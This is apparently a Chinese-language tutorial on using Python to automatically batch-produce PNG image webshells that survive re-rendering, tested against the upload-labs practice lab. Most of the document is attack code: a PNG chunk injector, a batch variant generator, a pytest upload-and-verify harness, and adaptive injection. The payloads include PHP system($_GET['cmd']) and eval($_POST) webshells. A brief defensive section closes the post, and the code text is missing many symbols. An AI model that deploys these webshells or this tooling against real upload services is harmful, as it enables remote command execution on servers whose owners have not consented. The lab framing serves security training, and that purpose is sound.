实战复盘:我是如何用Python脚本批量生成PNG图片马,自动化通过upload-labs检测的 Python自动化生成PNG图片马实战绕过二次渲染检测的工程化方案在安全测试领域图片马一直是绕过文件上传限制的经典手段。但传统手工制作方式效率低下难以应对需要批量测试的场景。本文将分享如何用Python实现自动化生成能绕过二次渲染检测的PNG图片马并集成到自动化测试流程中。1. 理解PNG文件结构与二次渲染PNG文件由多个数据块chunks组成每个块都有特定功能。关键块包括IHDR包含图像宽度、高度等基本信息IDAT存储实际图像数据IEND标记文件结束二次渲染通常会重新生成IDAT块但可能保留其他非关键块。我们的目标是在不被修改的区域插入代码。import struct def parse_png_chunks(data): offset 8 # Skip PNG signature chunks [] while offset len(data): length struct.unpack(I, data[offset:offset4])[0] chunk_type data[offset4:offset8] chunk_data data[offset8:offset8length] crc data[offset8length:offset12length] chunks.append((chunk_type, chunk_data, crc)) offset 12 length return chunks2. 自动化生成PNG图片马的Python实现2.1 使用Pillow库创建基础图像我们首先创建一个最小化的PNG图像作为载体from PIL import Image def create_base_image(width32, height32): 创建基础PNG图像 img Image.new(RGB, (width, height), colorwhite) return img2.2 识别安全插入点通过分析上传前后的PNG文件差异确定稳定的插入位置def find_stable_chunks(original_path, rendered_path): 比较原始和渲染后文件的稳定块 with open(original_path, rb) as f: orig_data f.read() with open(rendered_path, rb) as f: rendered_data f.read() orig_chunks parse_png_chunks(orig_data) rendered_chunks parse_png_chunks(rendered_data) stable_chunks [] for o_chunk, r_chunk in zip(orig_chunks, rendered_chunks): if o_chunk[0] r_chunk[0] and o_chunk[1] r_chunk[1]: stable_chunks.append(o_chunk) return stable_chunks2.3 注入PHP代码到PNG文件在确认稳定块后我们可以安全地注入代码def inject_payload(input_path, output_path, payload): 在PNG文件中注入payload with open(input_path, rb) as f: data f.read() chunks parse_png_chunks(data) # 在第一个IDAT块前插入自定义tEXt块 new_data data[:8] # PNG签名 injected False for chunk_type, chunk_data, crc in chunks: if not injected and chunk_type bIDAT: # 插入tEXt块 keyword bComment text payload.encode(utf-8) length struct.pack(I, len(keyword) 1 len(text)) new_chunk length btEXt keyword b\x00 text crc struct.pack(I, zlib.crc32(new_chunk[4:]) 0xffffffff) new_data new_chunk crc injected True # 写入原始块 length struct.pack(I, len(chunk_data)) new_data length chunk_type chunk_data crc with open(output_path, wb) as f: f.write(new_data)3. 批量生成与自动化测试集成3.1 批量生成不同变体为提高测试覆盖率我们可以生成多种变体def generate_variations(base_image, output_dir, payloads): 生成多种图片马变体 if not os.path.exists(output_dir): os.makedirs(output_dir) base_path os.path.join(output_dir, base.png) base_image.save(base_path) results [] for i, payload in enumerate(payloads): output_path os.path.join(output_dir, fpayload_{i}.png) inject_payload(base_path, output_path, payload) results.append(output_path) return results3.2 集成到自动化测试框架将生成器集成到pytest框架中import pytest import requests pytest.fixture(scopemodule) def test_images(tmp_path_factory): 生成测试用图片马 base_img create_base_image() payloads [ ?php echo test1; ?, ?php system($_GET[cmd]); ?, ?php file_put_contents(shell.php, ?php eval($_POST[cmd]); ?); ? ] return generate_variations(base_img, str(tmp_path_factory.mktemp(images)), payloads) def test_upload_bypass(test_images, target_url): 测试上传绕过 for img_path in test_images: with open(img_path, rb) as f: files {file: (os.path.basename(img_path), f, image/png)} response requests.post(target_url, filesfiles) assert response.status_code 200 assert upload success in response.text.lower() # 验证payload是否存活 download_url parse_download_url(response.text) verify_response requests.get(download_url ?cmdecho%20test) assert test in verify_response.text4. 高级技巧与优化4.1 动态调整注入策略根据目标系统的不同响应动态调整注入点def adaptive_injection(target_url, base_image, max_attempts5): 自适应注入策略 temp_dir tempfile.mkdtemp() base_path os.path.join(temp_dir, base.png) base_image.save(base_path) for attempt in range(max_attempts): # 尝试不同的注入策略 if attempt 0: payload ?php echo marker; ? output_path os.path.join(temp_dir, fattempt_{attempt}.png) inject_payload(base_path, output_path, payload) elif attempt 1: # 尝试在IHDR后注入 output_path inject_after_ihdr(base_path, payload) # ...其他尝试策略 # 测试上传 with open(output_path, rb) as f: response requests.post(target_url, files{file: f}) if marker in response.text: return output_path raise Exception(All injection attempts failed)4.2 结果分析与报告生成自动化生成测试报告def generate_report(test_results, output_filereport.html): 生成HTML格式的测试报告 template html headtitlePNG Injection Test Report/title/head body h1Test Results/h1 table border1 tr thTest Case/th thStatus/th thPayload/th thResponse/th /tr {% for result in results %} tr td{{ result.filename }}/td td stylecolor: {{ green if result.success else red }} {{ Success if result.success else Failed }} /td tdpre{{ result.payload }}/pre/td tdpre{{ result.response }}/pre/td /tr {% endfor %} /table /body /html from jinja2 import Template html Template(template).render(resultstest_results) with open(output_file, w) as f: f.write(html)5. 防御措施与最佳实践虽然本文重点在攻击技术但了解防御同样重要文件内容验证不仅检查文件头还要验证实际内容重命名上传文件避免直接使用用户提供的文件名隔离执行环境在沙箱或容器中处理上传文件文件类型白名单仅允许特定的MIME类型def safe_image_processing(image_path): 安全的图像处理流程 from PIL import Image try: # 验证确实是图像文件 img Image.open(image_path) img.verify() # 转换为标准格式并重新保存 img Image.open(image_path) clean_path image_path .clean.png img.save(clean_path, PNG) return clean_path except Exception as e: print(fInvalid image file: {e}) return None在实际项目中这套脚本帮助我将upload-labs的测试效率提升了10倍以上从手动制作单个图片马到批量生成数百个变体进行自动化测试。最关键的是理解目标系统的渲染逻辑通过系统化的方法找出稳定的注入点。